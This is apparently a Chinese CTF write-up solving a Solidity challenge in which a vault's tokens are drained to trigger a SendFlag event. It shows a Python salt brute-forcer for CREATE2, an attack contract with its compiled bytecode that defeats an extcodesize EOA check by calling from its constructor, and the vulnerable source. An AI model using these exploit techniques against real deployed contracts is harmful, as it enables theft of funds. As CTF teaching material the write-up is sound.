模糊身份 漏洞简介 任务描述:触发sendFlag事件
业务逻辑图:
分析 能够触发sendFlag事件的只有函数payforflag
1 2 3 4 function payforflag() public{ require(token.balance(msg.sender) >= 10000000 *10 **18, "Try again"); emit SendFlag(msg.sender); }
这个函数需要我们的余额大于10000000ETH,也就是调用者msg.sender在token中拥有10000000ETH。因此我们需要调用share_my_vault方法,来进行转钱。(我们用来盗取的msg.sender是create2创建出来的合约)
1 2 3 function share_my_vault()external only_EOA only_family{ token.transfer(msg.sender,token.balanceOf(address(this))); }
但是这个方法需要满足only_EOA和only_family两个修饰符的检验。
only_EOA 1 2 3 4 5 6 7 8 modifier only_EOA{ uint x; assembly { x := extcodesize(caller()) } require(x == 0,"Only EOA can do that"); _; }
这个和delegatecall漏洞的onlyOwner的其中一个满足条件一样,不再次做阐述。反正就是需要另起一个合约在构造器中进行攻击
only_family 1 2 3 4 5 modifier only_family{ require(is_my_family(msg.sender), "no no no,my family only"); _; }
这需要我们的is_my_family函数返回true
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 function is_my_family(address account) internal returns (bool) { bytes20 you = bytes20(account); bytes20 code = maskcode; bytes20 feature = appearance; for (uint256 i = 0; i < 34; i++) { if (you & code == feature) { return true; } code <<= 4; feature <<= 4; } return false; }
这个函数需要我们使 you 跟 code 进行与运算,结果要等于 feature。每次 for 循环都会使 code 和 feature 的二进制值左移四位,也就是在十六进制中左移一位,而由于 code 和 feature 初始值都只有后四位有值,且在 for 循环中移位也是同步的,feature 为 ffff,也就意味着我们 的 you 中需要包含feature的四个数字值,跟 code 做与运算后就会得到 feature 本身。 但 you 是什么呢,起初我以为可以自己进行构造,you 是 msg.sender, 也就是我合约的地址,而合约地址一般是不可控的(一般的合约创建是create)。
所以我使用了 create2 操作来得到我满足条件的合约地址。得到一个特殊的地址来通过is_my_family函数返回true,逃过检验(这个检验也就是这个项目用来判断你是不是这个金库的成员)
计算appearance:
bytes20(bytes32(“ZT”))的值为:0x5a54000000000000000000000000000000000000000000000000000000000000
,共160位,然后换成十六进制的40位
bytes20(bytes32(“ZT”))>>144。这句话就是右移144位,然后换算成十六进制的40位如下:
0x0000000000000000000000000000000000005a54
计算maskcode:
bytes20(uint160(0xffff))
0x000000000000000000000000000000000000ffff
appearance的后面是5a54,在for循环中不断向前移动一位,看看我们的地址是否包含5a54,如果包含了就通过检验。
因此我们的目标是:通过create2操作来获取一个地址,这个地址包含5a54
create2创建合约 通过create2的操作码来得到一个地址,这个地址将通过only_family修饰符的检验
create2简介 CREATE2 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址。
【CREATE2如何计算地址 】
CREATE2 的目的是为了让合约地址独立于未来的事件。不管未来区块链上发生了什么,你都可以把合约部署在事先计算好的地址上
CREATE2 操作码使我们在智能合约部署在以太坊网络之前就能预测合约的地址。基本计算原理格式如下:
1 address = hash(“0xff”,msg.sender,salt,keccak256(bytecode))//hash是keccak256
0xff:一个常数,避免和 CREATE 冲突
msg.sender:创建者地址
salt:一个创建者给定的数值
keccak256(bytecode):待部署合约的字节码(bytecode)的哈希值
CREATE2 保证:如果创建者使用 CREATE2 和提供的 salt 部署给定的合约 bytecode,它将存储在 新地址中。并且一个salt只可以使用一次,再次使用相同的salt会报错
【使用 】
非内联汇编部署方法
1 Contract x = new Contract{salt:_salt,value:_value}(params)
Contract:创建的合约名
x:合约对象(地址)
_salt:指定的盐
_value:如果构造函数是 payable,可以创建时转入_value 数量的 ETH(wei)
params:新合约构造函数的参数
内联汇编部署方法
1 2 3 assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) }
发送给新合约的wei数(msg.value).
跳过bytecode前面32个字节长度的数据
获取bytecode的长度
salt ,我们将它作为可控参数,可以在计算后再提供,是一个随机数nonce
解释:bytecode的前32个字节存储的是这个bytecode的总长度,32个字节后面的数据才是bytecode真正的数据
计算salt 这个是张学长写的,根据create2中计算地址的原理写的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 //使用python,引入web3库 from web3 import Web3s1 = '0xff406187E1b3366B5da3539D99C4E88E42FC60De50' s3= 'da647010355608442b3eab68e7dcc6d5b836f2628d2366ff8ae853413a643965' i = 0 while (1 ): salt = hex (i)[2 :].rjust(64 ,'0' ) s = s1+salt+s3 hashed = Web3.sha3(hexstr=s) hashed_str = '' .join(['%02x' % b for b in hashed]) if '5a54' in hashed_str[26 :]: print (salt,hashed_str) break i += 1 print (salt)
为什么hashed_str[26:]
这样子设计呢?原因:这个脚本返回的第二个字符串是一个六十四位的数据,我们只需要后面的四十位作为地址,又因为题目合约的限定需要从第三位开始满足拥有“5a54”,因此我们需要从第二十六位之后的三十八位中含有”5a54”
注意:我们create2生成的地址是hashed_str后面的40位。即857345a545213f2cf30379035ce2d922d1bf1f9d
。原因:判断5a54的时候是从第二十六位开始的,地址只需要四十位。
下面是网络上的方法,运行之后结果不正确,错误的原因我也不清楚,放在这留案先,以后懂了再来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 const eth = require ('ethereumjs-util' )var string1 = '0xff406187E1b3366B5da3539D99C4E88E42FC60De50' var string2 = 'da647010355608442b3eab68e7dcc6d5b836f2628d2366ff8ae853413a643965' for (var i = 0 ;; i++) { var saltToBytes = i.toString (16 ).padStart (64 , '0' ) var concatString = string1.concat (saltToBytes).concat (string2) var bufferr = Buffer .from (concatString) var hashed = eth.bufferToHex (eth.keccak256 (bufferr)) if (hashed.substr (26 ).includes ('5a54' )) { console .log (hashed) break } console .log (i.toString (16 )) }
攻击合约代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 pragma solidity ^0.6.12; contract attack{ address bet =0x07cbF889a6637161fED5bf44F041C7B2577B11d4; constructor()public{ bet.call(abi.encodeWithSignature("share_my_vault()")); bet.call(abi.encodeWithSignature("payforflag()")); } function complete()public{ bet.call(abi.encodeWithSignature("payforflag()")); } } contract DeployAttack { bytes attackCode =hex"60806040527307cbf889a6637161fed5bf44f041c7b2577b11d46000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801561006457600080fd5b5060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527fa3442ead000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b60208310610152578051825260208201915060208101905060208303925061012f565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d80600081146101b4576040519150601f19603f3d011682016040523d82523d6000602084013e6101b9565b606091505b50505060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f80e10aa5000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106102a95780518252602082019150602081019050602083039250610286565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d806000811461030b576040519150601f19603f3d011682016040523d82523d6000602084013e610310565b606091505b5050506101c9806103226000396000f3fe608060405234801561001057600080fd5b506004361061002b5760003560e01c8063522e117714610030575b600080fd5b61003861003a565b005b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166040516024016040516020818303038152906040527f80e10aa5000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040518082805190602001908083835b602083106101275780518252602082019150602081019050602083039250610104565b6001836020036101000a0380198251168184511680821785525050505050509050019150506000604051808303816000865af19150503d8060008114610189576040519150601f19603f3d011682016040523d82523d6000602084013e61018e565b606091505b50505056fea2646970667358221220af4e9499f2a89de6b970823460e18bf4f4072f402e041566c4e0ade88ff5e8aa64736f6c634300060c0033"; function deploy(bytes32 salt) public { bytes memory bytecode = attackCode; address addr; assembly { addr := create2(0, add(bytecode, 0x20), mload(bytecode), salt) } } function getHash()public view returns(bytes32){ return keccak256(attackCode); } }
全过程
deploy方法调用,在metamask确认交易的时候,需要编辑交易的gas,否则会执行失败(在区块链浏览器中会打感叹号,如图)
执行完deploy就已经攻击成功了,不再需要调用payforflag和share_my_vault方法,因为attack.sol的构造器中已经调用过了。再次调用只会报错无法调用。
源代码 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 pragma solidity ^0.6.12; contract betToken{ mapping(address=>uint)public balance; constructor()public{ balance[msg.sender] += 10000000 *10 **18; } function balanceOf(address account)public view returns(uint){ return balance[account]; } function transfer(address to,uint amount)external{ _transfer(msg.sender,to,amount); } function _transfer(address from,address to,uint amount)internal{ require(balance[from] >= amount,"amount exceed"); require(to != address(0),"you cant burn my token"); require(balance[to]+amount >= balance[to]); balance[from] -= amount; balance[to] += amount; } } contract betGame{ //only my family can use the whole contract // i will check your appearance to check if you are my family betToken public token; bytes20 internal appearance = bytes20(bytes32("ZT"))>>144; bytes20 internal maskcode = bytes20(uint160(0xffff)); mapping(address=>bool)public status; event SendFlag(address addr); constructor()public{ token = new betToken(); } modifier only_family{ require(is_my_family(msg.sender), "no no no,my family only"); _; } modifier only_EOA{ uint x; assembly { x := extcodesize(caller()) } require(x == 0,"Only EOA can do that"); _; } function is_my_family(address account) internal returns (bool) { bytes20 you = bytes20(account); bytes20 code = maskcode; bytes20 feature = appearance; for (uint256 i = 0; i < 34; i++) { if (you & code == feature) { return true; } code <<= 4; feature <<= 4; } return false; } function share_my_vault()external only_EOA only_family{ token.transfer(msg.sender,token.balanceOf(address(this))); } function payforflag() public{ require(token.balance(msg.sender) >= 10000000 *10 **18, "Try again"); emit SendFlag(msg.sender); } }